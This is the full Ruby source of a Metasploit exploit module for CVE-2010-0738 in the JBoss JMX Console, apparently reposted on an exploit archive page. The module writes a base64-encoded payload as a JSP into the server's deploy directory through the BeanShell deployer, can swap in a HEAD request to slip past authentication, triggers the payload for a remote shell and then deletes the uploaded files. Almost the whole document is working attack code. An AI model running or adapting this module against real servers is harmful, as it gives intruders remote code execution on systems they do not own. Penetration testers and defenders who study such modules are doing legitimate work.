JBoss JMX Console Beanshell Deployer WAR Upload And Deployment

Related Vulnerabilities: CVE-2010-0738  
Publish Date: 24 Jun 2010
                							

                ##
# $Id: jboss_bshdeployer.rb 9596 2010-06-23 22:25:03Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'      => 'JBoss JMX Console Beanshell Deployer WAR upload and deployment',
      'Description'  => %q{
          This module can be used to install a WAR file payload on JBoss servers that have
        an exposed "jmx-console" application. The payload is put on the server by
        using the jboss.system:BSHDeployer's createScriptDeployment() method.
      },
      'Author'       => [ 'Patrick Hof', 'jduck' ],
      'License'    => BSD_LICENSE,
      'Version'     => '$Revision: 9596 $',
      'References'  =>
        [
          [ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
          [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ]
        ],
      'Privileged'   => true,
      'Platform'     => [ 'windows', 'linux' ],
      'Stance'       => Msf::Exploit::Stance::Aggressive,
      'Targets'    =>
        [
          [ 'Universal',
            {
              'Arch' => ARCH_JAVA,
              'Payload' =>
              {
                'DisableNops' => true,
              },
            }
          ],
        ],
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('USERNAME',  [ false, 'The username to authenticate as' ]),
        OptString.new('PASSWORD',  [ false, 'The password for the specified username' ]),
        OptString.new('SHELL',    [ false, 'The system shell to use', 'automatic' ]),
        OptString.new('JSP',       [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
        OptString.new('APPBASE',  [ false, 'Application base name, (default: random)', nil ]),
        OptString.new('PATH',    [ true,  'The URI path of the JMX console', '/jmx-console' ]),
        OptString.new('VERB',    [ true,  'The HTTP verb to use (for CVE-2010-0738)', 'POST' ]),
      ], self.class)
  end


  def exploit
    datastore['BasicAuthUser']  = datastore['USERNAME']
    datastore['BasicAuthPass']  = datastore['PASSWORD']

    jsp_name = datastore['JSP'] || rand_text_alphanumeric(8+rand(8))
    app_base = datastore['APPBASE'] || rand_text_alphanumeric(8+rand(8))

    verb = datastore['VERB']
    if (verb != 'GET' and verb != 'POST')
      verb = 'HEAD'
    end

    p = payload
    if datastore['SHELL'] == 'automatic'
      if not (plat = detect_platform())
        raise RuntimeError, 'Unable to detect platform!'
      end

      case plat
      when 'linux'
        datastore['SHELL'] = '/bin/sh'
      when 'win'
        datastore['SHELL'] = 'cmd.exe'
      end

      print_status("SHELL set to #{datastore['SHELL']}")

      # Payload generation already happened, therefore SHELL will
      # already be 'automatic' in the payload regardless of what we set above.
      # To fix this, we regenerate the payload now..
      return if ((p = regenerate_payload(platform, target_arch)) == nil)
    end

    # The following Beanshell script will write the exploded WAR file to the deploy/
    # directory
    encoded_payload = [p.encoded].pack('m').gsub(/\n/, '')
    bsh_script = <<-EOT
import java.io.FileOutputStream;
import sun.misc.BASE64Decoder;

String val = "#{encoded_payload}";

BASE64Decoder decoder = new BASE64Decoder();
String jboss_home = System.getProperty("jboss.server.home.dir");
new File(jboss_home + "/deploy/#{app_base + '.war'}").mkdir();
byte[] byteval = decoder.decodeBuffer(val);
String jsp_file = jboss_home + "/deploy/#{app_base + '.war/' + jsp_name + '.jsp'}";
FileOutputStream fstream = new FileOutputStream(jsp_file);
fstream.write(byteval);
fstream.close();
EOT

    #
    # UPLOAD
    #
    print_status("Creating exploded WAR in deploy/#{app_base}.war/ dir via BSHDeployer")
    res = invoke_bshscript(bsh_script, verb)
    if !res
      raise RuntimeError, "Unable to deploy WAR [No Response]"
    end
    if (res.code < 200 || res.code >= 300)
      case res.code
      when 401
        print_error("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
      end
      raise RuntimeError, "Upload to deploy WAR [#{res.code} #{res.message}]"
    end

    #
    # EXECUTE
    #
    uri = '/' + app_base + '/' + jsp_name + '.jsp'
    print_status("Executing #{uri}...")

    # JBoss might need some time for the deployment. Try 5 times at most and
    # wait 3 seconds inbetween tries
    num_attempts = 5
    num_attempts.times { |attempt|
      res = send_request_cgi({
        'uri'     => uri,
        'method'  => verb
      }, 20)

      msg = nil
      if (! res)
        msg = "Execution failed on #{uri} [No Response]"
      elsif (res.code < 200 or res.code >= 300)
        msg = "Execution failed on #{uri} [#{res.code} #{res.message}]"
      elsif (res.code == 200)
        print_good("Successfully triggered payload at '#{uri}'")
        break
      end

      if (attempt < num_attempts - 1)
        msg << ", retrying in 3 seconds..."
        print_error(msg)

        select(nil, nil, nil, 3)
      else
        print_error(msg)
      end
    }

    #
    # DELETE
    #
    # The WAR can only be removed by physically deleting it, otherwise it
    # will get redeployed after a server restart.
    bsh_script = <<-EOT
String jboss_home = System.getProperty("jboss.server.home.dir");
new File(jboss_home + "/deploy/#{app_base + '.war/' + jsp_name + '.jsp'}").delete();
new File(jboss_home + "/deploy/#{app_base + '.war'}").delete();
EOT

    print_status("Undeploying #{uri} by deleting the WAR file via BSHDeployer...")
    res = invoke_bshscript(bsh_script, verb)
    if !res
      print_error("WARNING: Unable to remove WAR [No Response]")
    end
    if (res.code < 200 || res.code >= 300)
      print_error("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
    end

    handler
  end

  # Try to autodetect the target platform
  def detect_platform()
    print_status("Attempting to automatically detect the platform...")

    path = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'
    res = send_request_raw(
      {
        'uri'    => path
      }, 20)

    if (not res) or (res.code != 200)
      print_error("Failed: Error requesting #{path}")
      return nil
    end

    if (res.body =~ /<td.*?OSName.*?(Linux|Windows).*?<\/td>/m)
      os = $1
      if (os =~ /Linux/i)
        return 'linux'
      elsif (os =~ /Windows/i)
        return 'win'
      end
    end
    nil
  end


  # Invokes +bsh_script+ on the JBoss AS via BSHDeployer
  def invoke_bshscript(bsh_script, verb)
    params =  'action=invokeOpByName'
    params << '&name=jboss.deployer:service=BSHDeployer'
    params << '&methodName=createScriptDeployment'
    params << '&argType=java.lang.String'
    params << '&arg0=' + Rex::Text.uri_encode(bsh_script)
    params << '&argType=java.lang.String'
    params << '&arg1=' + rand_text_alphanumeric(8+rand(8)) + '.bsh'

    if (verb == "POST")
      res = send_request_cgi({
        'method'  => verb,
        'uri'    => datastore['PATH'] + '/HtmlAdaptor',
        'data'  => params
      })
    else
      res = send_request_cgi({
        'method'  => verb,
        'uri'    => datastore['PATH'] + '/HtmlAdaptor?' + params
      })
    end
    res
  end
end
<p>